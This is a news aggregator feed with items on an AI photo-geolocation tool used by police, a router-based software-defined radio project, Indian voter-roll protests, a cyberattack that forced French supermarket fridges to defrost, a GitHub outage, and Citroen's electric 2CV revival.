SUSE SUSE-SU-2026:24114-1 SLE-m6.2 swtpm 2026-10-09
SUSE openSUSE-SU-2026:11977-1 TW trivy 2026-10-09
SUSE SUSE-SU-2026:4624-1 SLE15 SLE5.5 SLE-m5.5 unbound 2026-10-12
SUSE SUSE-SU-2026:4620-1 SLE15 oS15.6 unbound 2026-10-12
SUSE SUSE-SU-2026:24096-1 SLE-m6.2 wpa_supplicant 2026-10-09
SUSE openSUSE-SU-2026:11978-1 TW yast2-users 2026-10-09
Ubuntu USN-8912-1 14.04 16.04 18.04 20.04 22.04 24.04 26.04 libdbi-perl 2026-10-12

AI Company Lets Cops Pinpoint Specific Houses Based on a Single Interior Photo

403 Media
www.404media.co
2026-10-12 09:00:05
Raven, previously called GeoSpy, lets cops figure out what specific Airbnb or Zillow property a photo was taken in....
Original Article

An AI company now lets cops take a photo and nearly instantly figure out what specific home it was taken in, using only clues in the photo itself, and is clearly pulling data from sites like Zillow and Airbnb.

The tool, called Raven, shows the increasing power of AI capabilities available to local law enforcement agencies. 404 Media previously reported that both the Los Angeles Police Department and Miami-Dade Sheriff’s Office (MDSO) have bought access to Raven, which was previously called GeoSpy . Now, Raven, made by a company called Graylark Technologies, has added features that let cops analyze the interior of homes.

In a post on LinkedIn earlier this month , Graylark CEO Daniel Heinen wrote the company was introducing “the ability to geolocate interior images across millions of short-term rental units worldwide.” An accompanying demo video shows someone taking a photo from X of a washer/dryer unit inside a building. They upload it to Raven, select “Find Property: Interior and exterior property geolocation,” and then choose a region to search.

💡

Do you know anything else about this technology or others like it? I would love to hear from you. Using a non-work device, you can message me securely on Signal at joseph.404 or send me an email at joseph@404media.co.

After a couple of seconds, the map interface zooms in on an area in Charlotte, North Carolina. On the right hand side, the screen displays a list of results. The top one reads, “Renovated! Walk Uptown/located in 2 Hot Spots!”

That result directly quotes the language on a specific Airbnb listing in Charlotte, and the photos in the Airbnb listing show the same property.

Later in the video, the Raven user takes a photo of a bathroom from social media. They upload it to Raven, and the tool points to an area of Montecito, California. The top result says, “Montecito Miramar Beach House on the Sand.” 404 Media found that result directly quotes a listing on the short term rental site Vrbo.

In other words, from a single photo, Raven appears to be able to quickly find the specific home it was taken in, without using location data or other metadata attached to the image. In the demonstrations the videos were from social media, but in practice they could be from anywhere a law enforcement officer has obtained them.

This is also not a reverse image search: a reverse image search would take an image then find an identical one posted somewhere else on the internet. What Raven is doing, instead, is identifying unique characteristics in the photo, then finding what are likely other photos from the same property on sites like Airbnb, even if those photos are not exactly the same, or even if time has passed between them being taken.

In another post , Heinen wrote, “For investigators working trafficking and exploitation cases, that connection can turn an unidentified room into a location lead they can verify and pursue.”

Raven is not limited to short term rentals, according to other demo videos. In a third example posted last year, Raven traces a photo of an interior room to a specific address in San Francisco. The interface returns other interior photos of the property; 404 Media found these are exactly the same photos as those posted on Zillow, indicating that Raven is at least pulling data from Zillow in some form.

Another video posted last week shows Raven identifying a particular hotel, too.

A screenshot from a Raven promotional video on LinkedIn.

In another video, a part of the interface says, “City-specific property AI to determine an address.” That phrase implies the property search isn’t necessarily worldwide, but dependent on an AI model built specifically for that city. When 404 Media reported earlier this year that at least two law enforcement agencies have bought access to Raven, emails showed the MDSO had access to a custom model specifically trained for Miami-Dade County.

“In 2026, we’re investing heavily in interior geolocation across U.S. hotels, short-term rentals, houses, and apartments,” Heinen adds in the post.

Graylark trained Raven on millions of images from around the world. When the tool first launched, it was focused on identifying distinct geographical markers like architecture and soil. Now Raven extends that same idea into buildings.

In an interview with the tech publication Indicator last year, Heinen discussed some of how the building interior searching capability came to be. “I’ll be honest, we didn't train it to do that,” he said. “That was kind of an ‘Oh shit’ moment for us. GeoSpy 1.0 couldn't do that. As we trained GeoSpy 2.0, we were just kind of red teaming and testing it out and I think I had a picture of my girlfriend just taking a selfie in the bathroom. I was curious what it would say and I dropped it in there and it put a pin on San Francisco. I was like, ‘Well hold on, wait a minute. That doesn't make any sense. It’s just a picture in a bathroom.’ And then I went over to Zillow and I just started screenshotting images and nine out of 10 of them it would get the right city.”

“We have huge datasets that we train the models on and these are geotagged images from all over. Usually, we would assume that the images are all outdoor images. I'm assuming some of those images would probably have some indoors, whether it's people at a party or just taking pictures of food on their counter. The models must have learned some details that relate to different locations,” he continued.

Airbnb told 404 Media in email “Protecting our community's privacy is important to us — that’s why location metadata is excluded from listing photos, hosts are given the option to show only an approximate location of their listing, and a home’s address is shared with a guest only after a reservation is confirmed. We also have technical safeguards in place to try to limit automated data collection from our site.” Airbnb stressed it has no relationship with Graylark, that its terms of service prohibit scraping, and that the company is reviewing this case.

Zillow told 404 Media that scraping data is against its terms of use, and when necessary it pursues legal avenues.

Vrbo did not respond to multiple requests for comment.

It is unclear if the examples shown in the marketing videos are truly representative of Raven’s speed or capabilities. While law enforcement agencies have paid for access to Raven, it hasn’t always impressed. Joseph R. Peguero Rivera, from MDSO’s Public Affairs Office, previously told 404 Media “To date, use of GeoSpy has been limited and largely exploratory. While it has been reviewed in a small number of cases, it has not resulted in any significant investigative breakthroughs or arrests. No case outcomes were driven solely or primarily by information generated by the tool.”

404 Media first covered Raven in January 2025. At the time, the tool was available to essentially anyone, and some people in the company’s Discord server asked for help stalking women. A day after 404 Media contacted Graylark for comment, the company restricted access to the tool to only government agencies and enterprise users.

In a September X post , Heinen said Alexandr Wang, now head of AI at Meta, was an angel investor in Graylark. Wang did not respond to a request for comment.

In a LinkedIn post earlier this year, Heinen showed Raven being used against a video of people vandalizing a Flock camera.

About the author

Joseph is an award-winning investigative journalist focused on generating impact. His work has triggered hundreds of millions of dollars worth of fines, shut down tech companies, and much more.

Joseph Cox

Turn a WiFi 7 Router into a 320Msps Software Defined Radio Receiver

Hacker News
github.com
2026-10-12 08:41:58
Comments...
Original Article

Turns a Gemtek W1700K Wi-Fi 7 router into a wideband software-defined receiver. The router's MediaTek MT7996 radio captures raw 14-bit IQ at up to 320 Msps, its Airoha AN7581 SoC streams it over 10 GbE, and a Linux host shows it as a live spectrum and waterfall in the browser, with the receiver's controls next to it.

The 2.4 GHz band live: spectrum and waterfall

The whole 2.4 GHz band at 320 Msps, live, with the decimation's roll-off corrected in the stream ("flatten"): a 262,144-point FFT of every sample, 100 spectra a second (this recording runs at 50 frames a second).

The MT7996 runs only our own firmware: a ROM patch, WM and WA built from this repository, with no MediaTek code. It brings the radio up from a cold power-on by itself, from MediaTek's initialisation and calibration decoded register by register against a trace of MediaTek's own firmware, and takes its commands (LO, sample rate, capture, stream, gain, filter) from the host. See docs/architecture.md and docs/roadmap.md .

What it does

Sample rates 40, 80, 160 or 320 Msps of 14-bit complex IQ on every band, independent of the LO and the filter; on band 2 also 640/2 (every other sample of 640 Msps: flat to ±155 MHz, but signals 160–320 MHz away fold in)
Bands 2.4 GHz (MT7976), 5 GHz and 6 GHz (two MT7977s); switching bands is a register write inside a running stream
Tuning No channels: the LO is any Hz a band's synthesizer locks at (unit A: 2.081–2.748, 4.647–7.509 and 4.707–7.576 GHz), on its grid of 2.98 Hz (2.4 GHz) or 11.9–14.3 Hz steps; retuned mid-stream (about 1 ms)
Front end AGC or manual LNA/baseband gain; analog filter 20–320 MHz
Transport the radio DMAs into a 1 GiB ring in SoC DRAM; the kernel sends every 8 KiB slice as one UDP datagram, zero-copy, on the 10 GbE port; at 320 Msps half the slices are packed to 28 bits per sample pair on the radio's own cores to fit the link (lossless, automatic)
Host w1700k-stream receives the export and serves the IQ stream to every consumer on the host (shared memory, complex int16, gap-tagged), with an optional correction ("flatten") of the decimation's roll-off applied to the samples themselves; w1700k-spectrum : 262,144-point FFT at 100 frames/s over every sample, browser UI, live controls; sdr-recv records the stream

Screenshots

The web UI at 2.4 GHz

2.4 GHz at 320 Msps, flattened: Wi-Fi frames and shorter hopping bursts on a floor that stays level to the band's edges. The Stream panel shows the link carrying 9.75 Gbit/s, half of the slices packed, and every sample transformed.

The web UI at 5 GHz

Two busy 80 MHz Wi-Fi channels at 5170–5330 MHz in a flattened 320 MHz view.

The two channels' edges zoomed to 24 MHz

Zoomed to 24 MHz around 5250 MHz: the two channels' edges and the guard gap between them, in 1.22 kHz bins.

Repository

Path
platform/ What runs on the SoC: our U-Boot, Linux 6.18 with board patches, a read-only BusyBox root
kernel/w1700k_sdr/ The MT7996 driver (firmware download, the DMA ring, the 10 GbE export, the firmware's command mailbox) and its unit-side clients
firmware/ Our MT7996 firmware: the ROM patch, the WM (radio bring-up and band set-up, streams, RF control) and the WA (packer)
host/w1700k/ Host control: firmware load, streaming, RF control as firmware commands; w1700k serve for the web UI
host/stream/ w1700k-stream , the host's one receiver of the export: the IQ stream in shared memory for every consumer, and the roll-off correction
host/spectrum/ The spectrum/waterfall web server
host/recv/ sdr-recv , the stream recorder
init/ Installation from stock, updates, recovery
include/hw/ Register reference: every known MT7996, A-die and AN7581 register, as C headers
docs/ Architecture , roadmap

Getting started

You need a W1700K, a 3.3 V USB serial adapter on its console header, an Ethernet cable to its lan3 port for installation, and a 10 GbE NIC on the host cabled to its wan port (10GBASE-T; an X710 with a copper SFP+ module works) for the IQ stream.

make                                   # everything, from public sources (~10 min plus downloads)
make check                             # the test suite

sudo init/host/link up IFACE           # 192.168.1.10/24 on the NIC cabled to lan3
sudo init/host/tftp-forward enable IFACE
init/install                           # back up the NAND, install, save the radio calibration

sudo init/host/link up IFACE10G 10.77.0.10/24 9216    # the 10 GbE stream link
host/stream/build/w1700k-stream &                      # the stream, for every consumer on this host
host/spectrum/build/w1700k-spectrum --controller "host/bin/w1700k serve" --listen 0.0.0.0:8073

Then open http://HOST:8073/ and press ▶. The first start loads the radio firmware and brings the radio up (about 2 s). Without the browser, the same operations are host/bin/w1700k load|start|band|tune|gain|filter|stop|status .

Build requirements: a C/C++ compiler, make, git, Python 3.10+, the usual Buildroot prerequisites, clang, ld.lld, llvm-objcopy and llvm-readobj (RISC-V firmware), openssl (firmware container encryption), and libfftw3-dev and zlib for the stream service and the spectrum server. No vendor firmware is downloaded or needed.

Read before use

  • Our firmware is receive-only. It runs none of MediaTek's transmit calibrations and keeps the MAC's transmit path disabled; a gapless watch at 5250 MHz saw nothing during a load, where MediaTek's firmware transmits a full-power burst. Still, do not cable an antenna port straight into a sensitive instrument without an attenuator.
  • Our ROM patch writes no eFuse. MediaTek's ROM patches since 2025 permanently program one eFuse gate bit on their first run (also with MediaTek's own driver); a unit that ever ran one has that bit set.
  • Installation replaces the stock operating system. init/install first copies the whole NAND to the host; keep that copy. Restoring stock needs a raw NAND writer, which this repository does not provide.
  • Accessing undocumented MT7996 or AN7581 addresses can hang the SoC or wedge the radio until a power cycle. include/hw/ marks every known hazard.

Licence

MIT, except the Linux driver and kernel patches (GPL-2.0-only), U-Boot patches (GPL-2.0+), the driver's user-space header (GPL-2.0 WITH Linux-syscall-note) and files derived from MediaTek's mt76 driver (BSD-3-Clause-Clear). See LICENSE .

Indigenous Peoples' Day: Leonard Peltier on Resistance, New Film & Fighting for Freedom

Democracy Now!
www.democracynow.org
2026-10-12 08:31:03
On Indigenous Peoples’ Day, we feature a conversation with one of the world’s most prominent champions for Indigenous rights, Leonard Peltier. “Indigenous Day is a day that’s been long overdue for any type of recognition,” says Peltier. “I am not going to give up,...
Original Article

On Indigenous Peoples’ Day, we feature a conversation with one of the world’s most prominent champions for Indigenous rights, Leonard Peltier. “Indigenous Day is a day that’s been long overdue for any type of recognition,” says Peltier. “I am not going to give up, because we are not free yet. We are in danger. Trump and these organizations, they’re talking about doing away with our reservations and our treaties and everything else. … We’re going to stay here. You’re not going to get rid of us.”

Peltier is a longtime political prisoner who spent nearly half a century behind bars for a crime he says he did not commit — the 1975 fatal shooting of two FBI agents. In the final hours of his administration last year, President Biden commuted Peltier’s sentence, but his conviction has not been overturned, and he remains under home confinement on the Turtle Mountain Band of Chippewa Reservation in Belcourt, North Dakota.

“It was one crime against the justice system after another in order to frame Leonard for the assassination of these two federal agents,” says David France, co-director of the new documentary Free Leonard Peltier . “And although he and his team were able to prove over and over that every bit of evidence used against him in his conviction was brought into question, he was never able to get a retrial.”



Guests
  • Leonard Peltier

    Indigenous activist and longtime political prisoner who spent nearly 50 years behind bars over his involvement with the American Indian Movement.

  • David France

    investigative reporter and Oscar-nominated filmmaker.


Please check back later for full transcript.

The original content of this program is licensed under a Creative Commons Attribution-Noncommercial-No Derivative Works 3.0 United States License . Please attribute legal copies of this work to democracynow.org. Some of the work(s) that this program incorporates, however, may be separately licensed. For further information or additional permissions, contact us.

French supermarket chains say cyberattack forced refrigerator shutdown

Lobsters
www.afp.com
2026-10-12 08:23:52
This popped up and reminded me strangely of a story post a month ago here: https://lobste.rs/s/ygjo0g/i_think_military_commissary_freezers And, lo and behold, the very same controller supplier is mentioned in both the earlier US article and the one covering this by french newspaper Le Monde: the dan...
Original Article

Major French supermarket chains Intermarche and Cooperative U were hit by a cyberattack that caused their refrigerators to defrost, the two retailers told AFP Monday.

Some 150-200 Intermarche shops were targeted, along with almost 100 Cooperative U outlets, in the attack, they said.

Paris prosecutors confirmed the attack, which reportedly also hit other major chains, and also indicated it had prompted outbreaks of fire.

BFM TV said France's largest supermarket chain E. Leclerc was also affected, with hackers "managing to remotely trigger the forced defrosting of the refrigeration systems in numerous stores". Contacted by AFP, E. Leclerc did not immediately confirm the information.

Those branches that were affected will have to "throw away all of the products" that are fresh and frozen, Intermarche told AFP.

Specialist French retail sector news website jebosseengrandedistribution.fr said other retail giants Carrefour Market and Monoprix were affected but the companies have yet to confirm this.

The chief executive of Cooperative U, Dominique Schelcher, described the attack as "unprecedented" and confirmed the cyberattack had affected refrigeration systems since Sunday night.

"Targeting equipment essential to the preservation of fresh products and to the food supply of the French people is extremely serious and is unprecedented. It is unacceptable," he wrote on X.

He added that the company's teams are "fully mobilised" to restore the situation as quickly as possible.

"An investigation will be necessary to shed full light on this attack," he added.

The office of the Paris prosecutor confirmed to AFP that an investigation has been opened into "the large-scale cyberattack affecting the refrigerators of several major food retail chains across France".

The probe will help "identify the victims and establish the link with the damage they reported in terms of foodstuff losses and the outbreak of fires", the prosecutor's office said.

Intermarche condemned the food waste and financial losses resulting from the attack, without providing figures, and warned there could be issues with insurance policies which do not "cover this type" of in-store incident.

BFM TV said temperatures were "altered remotely, resulting in the destruction of stocks of fresh and frozen products".

The incident comes against the background of growing concern over the potential havoc that can be caused in Europe in all sectors by cyberattacks by malicious actors.

President Emmanuel Macron, a strong supporter of Ukraine in its fight against the Russian invasion, last month ordered measures to protect France's critical infrastructure from Russian "hybrid attacks".

Incident with Actions, Pull Requests and Issues

Hacker News
www.githubstatus.com
2026-10-12 08:23:51
Comments...
Original Article

Update

Our initial mitigation was not fully successful, and users may still experience delays and errors with Actions, issues and projects, and notifications are delayed. We're continuing to investigate the root cause and work on additional mitigations.

Posted Oct 12 , 2026 - 13:38 UTC

Update

Pull Requests is operating normally.

Posted Oct 12 , 2026 - 13:02 UTC

Update

We have a mitigation in progress and are monitoring for recovery. Users may also experience delayed web notifications as we mitigate.

Posted Oct 12 , 2026 - 12:57 UTC

Update

Users may experience issues loading the Actions tab UI, interacting with the Checks API, queueing new Actions runs, creating and updating issues, and requesting PR reviews, including via REST and GraphQL APIs.

Posted Oct 12 , 2026 - 12:33 UTC

Investigating

We are investigating reports of degraded performance for Actions, Issues and Pull Requests

Posted Oct 12 , 2026 - 12:21 UTC

This incident affects: Issues, Pull Requests, and Actions.

Hackers activate automatic defrosting accross European supermarket fridges

Hacker News
www.tomshardware.com
2026-10-12 08:16:42
Comments...
Original Article

An ongoing cyberattack has reportedly struck major supermarket chains across Europe, disrupting refrigeration control systems. The attack — which has reportedly seen units set to continuously defrost at 50 degrees Celsius — is also apparently affecting deliveries and in-store pricing powered by electronic shelf labels, La Dépêche reports .

According to the report, "several" major retailers have been targeted by a cyberattack, which has hit Danfoss-made refrigeration controls used by French supermarkets Intermarché, Leclerc, and Coopérative U. Indeed, the latter's president, Dominique Schelcher, has confirmed as of Monday morning that "A cyberattack has been affecting the refrigeration production facilities of several stores in our network since last night." Schelcher said teams had been mobilized to fix the issue and promised an investigation into the incident, which he described as "extremely serious."

Get Tom's Hardware's best news and in-depth reviews, straight to your inbox.

Protesters Say India's Democracy Is "Rotten" as Modi Gov't Purges Voter Rolls, Arrests Thousands

Democracy Now!
www.democracynow.org
2026-10-12 08:16:14
Tens of thousands of people in India have taken to the streets in recent days to protest the deletion of 130 million names from the voter rolls, a large majority of which are believed to be opposed to Narendra Modi’s ruling BJP party. The demonstrations, joined by leaders from India’s op...
Original Article

This is a rush transcript. Copy may not be in its final form.

ANJALI KAMAT : In India, the right-wing government of Narendra Modi is facing its biggest challenge yet in 12 years in power, as tens of thousands of people have taken to the streets to protest what they call vote theft. At issue is the deletion of 130 million names from the voter rolls, and the vast majority of those deletions are believed to be opposed to Prime Minister Modi’s ruling BJP party.

The protests are being led by students and the youth Cockroach movement and joined by leaders from the opposition parties. They’re demanding the resignation of the chief election commissioner, Gyanesh Kumar, and an overhaul of the electoral system. The Cockroach movement started after the chief justice of India’s Supreme Court compared unemployed youth to cockroaches earlier this year.

Today, in one of largest recent protests in India’s capital of New Delhi, India’s main opposition leader, Rahul Gandhi of the Congress Party, is leading a march to the Supreme Court of India. Speaking to reporters earlier today, Gandhi reiterated the call for the election commissioner to resign.

RAHUL GANDHI : Narendra Modi is blocking the whole town, is putting 30,000-40,000 police people outside. For what? Because the opposition is asking one question: Prove to us that you have not cheated in the election. Prove to us that you’ve not cheated in the election.

AMY GOODMAN : The Modi government put New Delhi in lockdown ahead of Saturday’s protests, canceling trains to the city, shutting down metro stations, even suspending mobile internet in large parts of Delhi. Tens of thousands of security forces, including paramilitary and police, were mobilized across the city, and at least 7,000 people were detained Saturday alone, including protest leaders, lawyers and journalists. This is a protester speaking to reporters from inside a van where he was detained.

PROTESTER : [translated] The Modi government is scared of us. That is why we have been picked up from halfway. We didn’t even know where they were trying to bring us. [in English] This is just fear. And they are afraid of us because they have done something wrong, and you cannot do something wrong with the people of this country, man.

AMY GOODMAN : Several Cockroach movement leaders were also arrested right off the plane as they arrived in Delhi for the protest Saturday morning. After being released the next morning, Saurav Das, one of the leaders of the Cockroach People’s Party, vowed protests would continue.

SAURAV DAS : The protests are on. The protests will go on. [translated] The youth of the country have woken up. The youth of the country are asking for accountability. The peaceful protests will go on until they fix accountability. And now the protests will not only happen in Delhi, but in the whole country.

ANJALI KAMAT : On Saturday, the United Nations human rights spokesperson expressed concern over the mass detentions in India. In response, the Indian Mission in Geneva responded on X that the U.N.'s concerns were, quote, “misplaced and constitute an unwarranted interference in the internal affairs of India,” asserting that “India is the world's largest democracy.”

AMY GOODMAN : For more, we’re joined by two guests in Delhi. Jahnavi Sen is the managing editor of The Wire , an independent news website in India. And joining us from the streets of New Delhi, Shoaib Daniyal, political editor of Scroll , another Indian independent news website.

Shoaib, you were arrested on Saturday. You are out now. Describe what’s happening in the streets and why these massive protests are happening, and also the response to thousands being arrested.

SHOAIB DANIYAL : The protests are happening over one issue, Amy, which is the rigging of the voter rolls that Anjali pointed out. A hundred and thirty million Indians have got kicked off the voter rolls in a process that could, at best, be described as arbitrary. The deletions have affected Muslims far more than they have affected other Indians, so there is a very, very racial element in what this program represents. And these protests are coming after months of this exercise going on, and they represent an outpouring of anger, of frustration at what many Indians feel is the fact that their democracy has been taken away. We fought really hard for our democracy in 1947, and it feels like the right to vote has been taken away, and really everything else is downstream from that.

On Saturday, we saw something unprecedented in India. Delhi was locked down, as you very correctly phrased it. There were tens of thousands of policemen, paramilitary forces on the streets. The entire city was barricaded. The entire city center was barricaded. Internet was shut off. The police unleashed violence on these — you know, most of the protesters are actually kids. It’s very much a Gen Z protest in many ways. The bulk of the protesters are young kids. I just met a couple of kids who are 18, who are in first year in college. They’ve come here. And again, they were brutalized. They were arrested. This happened yesterday and the day before.

And today, we’ve had a kind of turning of the tide, so to speak, where the Congress Party, which is in the main opposition, has actually put its bulk, has actually put its strength, got its strength out onto the street. And we’ve seen some pretty remarkable scenes of — the very same parts of Delhi which were completely barricaded, which were completely blocked off, which were completely empty, they’re filled with protesters today. And the police today have not or cannot do anything about it.

ANJALI KAMAT : I want to bring Jahnavi Sen into the conversation, managing editor of The Wire , another independent news website in India. Jahnavi, you’ve also been out in the streets. Can you explain why protesters are marching to the Supreme Court of India right now?

JAHNAVI SEN : This began by a call from the leaders of the opposition who wanted to submit a memorandum to the chief justice of India about their concerns with what’s happening within the Election Commission of India. And as you were mentioning earlier, you know, one of the chief demands — though, of course, not the only demand — has been the resignation of the chief election commissioner, and the opposition has been trying to go to different constitutional authorities about this. They first tried to meet the Election Commission itself. They were underway. They have had a meeting with the president of India, Droupadi Murmu. And then they wanted to go to the chief justice of India, who sits in the Supreme Court, to submit a memorandum to him. He has denied them a meeting. And that is why now this march has become a people’s march, with all of them heading towards this constitutional authority, which they feel should safeguard the rights of Indian people, especially this very basic right to vote.

ANJALI KAMAT : And, Jahnavi, there’s also concerns about excessive brutality from police and other security forces who were on the streets over the weekend, particularly on Saturday. Can you talk a little bit about this? And you were on the streets, as well. What you witnessed?

JAHNAVI SEN : No, absolutely. I think it was, in fact, both on Saturday and Sunday, very heavy-handed behavior from the police, police and the paramilitary of different kinds, detaining people, putting them into police buses. And then, they were — several people were hit. They were mistreated. Women were manhandled. There were also allegation — not even not just allegations; we saw this happen — women protesters being taken into buses where there were no women constables, which is illegal, women protesters being detained after dark, which is also illegal. And then, another tactic that the police has now perfected is to detain protesters and then to drive them around in these buses for hours and drop them off in extremely far-flung corners of the city, from where it’s very difficult to make it back. Often it’s difficult to contact people that you know. They have also tried to take people’s phones and make them delete footage.

One of the very concerning things that we’ve been seeing is also the detentions of journalists. You were mentioning how Shoaib, too, was detained. On Saturday, my colleagues and I almost faced a similar situation. And so many journalists, both yesterday and today, despite wearing press cards, saying again and again that they’re from the media and they’re here to cover what’s happening, have been treated in this way, as have senior leaders of opposition parties. There were very stark and troubling visuals yesterday of a member of Parliament from one of the left parties, the CPI , John Brittas, who was — who said he was pinned down by paramilitary personnel inside one of these detention buses, and then had trouble breathing. He had to be taken to the hospital.

So, really, yes, we have been seeing very heavy-handed behavior on the side of the police and the paramilitary forces. And they seem to be able to do this despite the Supreme Court having a hearing early yesterday morning, where they said that, you know, no illegal detentions should take place; journalists and lawyers doing their job should not be detained. Despite that, we have not seen a change in that behavior over Sunday, as well.

ANJALI KAMAT : Shoaib, I wanted to get your reaction to what the Indian Mission in Geneva posted on X in response to criticism from the U.N. Human Rights Office expressing concern over the mass detention of protesters. And the response began by saying, “India is the world’s largest democracy,” and “the right to peaceful assembly is guaranteed by our Constitution and safeguarded by robust institutions, an independent judiciary and a free media.” Do the people on the streets agree with this?

SHOAIB DANIYAL : I think now increasingly, what was a banal fact about India is now not true. And this is exactly what the protest’s about. We’re seeing, I think — and I think this is true for democracies across the world. We have — India still maintains a veneer of democracy. We’re still wearing the clothes of democracy. But inside, there is something rotten. So, elections are held. The elections are multiparty elections. On paper, everybody has a right to contest. But, of course, we are seeing right from things which are actually legal, which I think are there in other democracies, like the U.S. also, the fact that the BJP has so much money. So, even if everything were above the board, the BJP just starts, you know, a hundred meters ahead on the starting line when the race starts, just on money. They have so much money. But they also now have institutions.

You know, you asked why people are marching to the Supreme Court today. Now, these voter roll deletions were contested in the Supreme Court as they were happening, and the Supreme Court just did not do anything. It spun this incredibly legal, complex lawyer’s web, but eventually it did not do anything to stop it. It gave a carte blanche to the Modi government. And there is a lot of anger actually on the streets against the Supreme Court. As you pointed out, you know, this is one of the greatest ironies, is that the Cockroach movement actually arises from a stray comment made by the chief justice of India. So, there is anger against the Supreme Court for not doing its job. The Supreme Court is the guardian of the Constitution. It’s meant to protect our rights. And again, like in other democracies — I think American viewers would also empathize — the Supreme Court is just not seen to be doing their job. And the SIR , the voter roll revision, is seen to be a really egregious part of that. So, in a way, this march to the Supreme Court is really, really interesting, because Rahul Gandhi and other protesters are trying to politicize the Supreme Court’s role in this matter.

AMY GOODMAN : You know, it’s really interesting, what’s happening around the world, Jahnavi. You have these mass protests in France, led by the youth, around issues of affordability and education. You have mass protests in Spain that have led the prime minister to call for a snap election November 29th, and he’s dissolved the parliament. And now you have these mass protests in India. I’m wondering what you think this means for the Modi government.

JAHNAVI SEN : I think these protests are going to be impossible for the government to ignore, even though it seems to be trying really hard. All the messaging we’ve seen coming from leaders of Modi’s party — that’s the Bharatiya Janata Party — have been attempts to show that this is just the opposition trying to get — trying to make this an anarchic situation, that they don’t have an agenda, that they’re just, you know, trying to create chaos. But it’s not sitting. And I think one of the reasons why we also saw the targeting of journalists was that they realized that building that narrative is not working.

We have a chief election commissioner who faced some pretty damning — a pretty damning exposé in a very big newspaper about the way he was functioning. And since then, we have heard absolutely nothing from him. We don’t know where he is. And, of course, this is in a country where the prime minister has not given a press conference ever since he was elected as the prime minister of this country, so perhaps the chief election commissioner is simply following in his footsteps by quickly disappearing from public sight when things become a little difficult.

But I think, yes, this tactic of ignoring, this tactic of trying to suppress narratives and suppress people has not been working. We are seeing how today so many more people have gathered. The rally that Shoaib is at right now is —

AMY GOODMAN : We have 10 seconds.

JAHNAVI SEN : — very, very large. And so, I think, you know, no matter what narrative they try to build, this is not going to go away.

AMY GOODMAN : Jahnavi Sen of The Wire , Shoaib Daniyal from the Scroll , both independent news websites in India. Daniyal was one of those thousands arrested on Saturday. And we’ll continue to cover these protests.

Coming up, it’s Indigenous Peoples’ Day. We’ll speak with the Native American activist Leonard Peltier, who spent almost 50 years behind bars. Stay with us.

[break]

AMY GOODMAN : Sonny Singh in our Democracy Now! studio.

The original content of this program is licensed under a Creative Commons Attribution-Noncommercial-No Derivative Works 3.0 United States License . Please attribute legal copies of this work to democracynow.org. Some of the work(s) that this program incorporates, however, may be separately licensed. For further information or additional permissions, contact us.

Citroen revives the 2CV for an electric age

Hacker News
www.bbc.co.uk
2026-10-12 08:09:09
Comments...
Original Article

A red Citroen 2CV prototype, with retro styling Image source, Stellantis

By

International Business Correspondent

French carmaker Citroen has brought back its 2CV brand in a bid to boost sales of electric cars in a difficult market.

The new model, unveiled at the Paris Motor Show, is a small city runabout with retro styling which harks back to one of the company's most famous designs.

As a "concept car" intended to show Citroen's direction of travel, it is not yet ready to go on sale but the plan is to have a version in showrooms by 2028.

As they face mounting competition from Chinese manufacturers, Citroen and other European brands are exploiting their heritage as a means of selling modern motors.

Farmers’ favourite

Citroen chief executive Xavier Chardon described the new car as "a modern, ingenious and refreshing response to the mobility challenges of tomorrow".

The original Citroen 2CV was launched in 1948, as Europe was recovering from the ravages of World War Two. It was designed as a cheap, robust way for French farmers and country folk to get around.

The car had high wheel arches and soft suspension, letting it travel across a ploughed field or rough roads - as legend would have it, without breaking a tray of duck eggs.

Its high roof let drivers wear a hat at the wheel. It was easy to drive and simple to repair.

The car was so popular, it remained in production for more than 40 years. Over time, it went from being a utilitarian tool for the countryside to a cult classic, and a favourite of hippies and counter-culturalists.

A man pushes a car out of the mud during the 24th World meeting of Citroen 2CV friends near Delemont, northern Switzerland on July 26, 2023. Image source, Getty Images

Image caption,

Fans of Citroën's 2CV hold annual meet-ups such as this muddy gathering in Switzerland

Now, Citroen wants to draw on that heritage to sell an electric, small city car that is expected to sell for about £13,000.

The look of the new 2CV may well evolve as Citroen develops its design. But as it stands, it shares plenty of styling features with its famous predecessor.

The high, flared wheel arches, the tall, curved roof and the eye-like headlights are all reminders of the original "deux chevaux" or "two horses".

By using memories of an old car to sell a new one, Citroen is following a well-travelled road.

VW notoriously brought back the Beetle in the late 1990s, with limited success.

BMW's Minis have always carried styling designed to hark back to the very British original. Fiat has been selling a retro-styled Fiat 500 for the past two decades.

Retro-nostalgia

But the retro-nostalgia trend has accelerated recently, as carmakers have looked for ways to sell electric cars to sceptical consumers.

Citroen's French rival, Renault, has led the charge. It started with the Renault 5 E-Tech, which visually echoed the distinctive boxy styling of the original Renault 5, once an ever-present sight on French streets. It has since revived the Renault 4 and Twingo brands as well.

VW has the distinctive ID-Buzz minivan, a throwback to the classic T2 Transporter, while Ford is working on a new EV which is widely expected to be called the Fiesta.

Rachel Burgess, senior editor of Autocar magazine, thinks it is a strategy that makes perfect sense.

"It's a brilliant differentiator from all-new car brands", she says. "An older audience might remember the originals and feel warmly towards them, and a younger audience might find an appeal in the retro aspect."

Finding new ways to make cars appealing has become more important than ever, at a time when European manufacturers are facing growing competition from Chinese brands.

"Many in the industry believe the big automotive players in Europe…face a very serious existential threat from aggressive Chinese manufacturers," says David Leggett, automotive editor at Global Data.

All-electric ID. Buzz vehicles are parked on the lot at a Volkswagen dealership in Hawthorne, California, on May 23, 2026. Image source, Getty Images

Image caption,

Back to the future: VW looked to the past when designing its ID-Buzz minivan

In this hostile business environment, heritage and nostalgia could prove to be powerful weapons for more established brands, thinks automotive researcher and author Dr Paul Nieuwenhuis.

"In a world where a wave of credible decent quality Chinese EVs are hitting Europe, linking European designs back to their history while using the latest powertrain technology is something the Chinese cannot do," he says.

"The Chinese can establish new design trends, but there is limited history there."

But Leggett thinks Citroen will need more than a heady whiff of nostalgia to turn its new car into a best-seller.

"A reimagined Citroën 2CV should give a big nod to its ancestor - especially on price and design simplicity as well as visual cues," he says.

"But it also needs to be a credible modern electric car in terms of functionality and features, with widespread appeal."

Citroen revives the 2CV for an electric age

Hacker News
www.bbc.com
2026-10-12 08:09:09
Comments...
Original Article

Stellantis A red Citroen 2CV prototype, with retro styling Stellantis

French carmaker Citroen has brought back its 2CV brand in a bid to boost sales of electric cars in a difficult market.

The new model, unveiled at the Paris Motor Show, is a small city runabout with retro styling which harks back to one of the company's most famous designs.

As a "concept car" intended to show Citroen's direction of travel, it is not yet ready to go on sale but the plan is to have a version in showrooms by 2028.

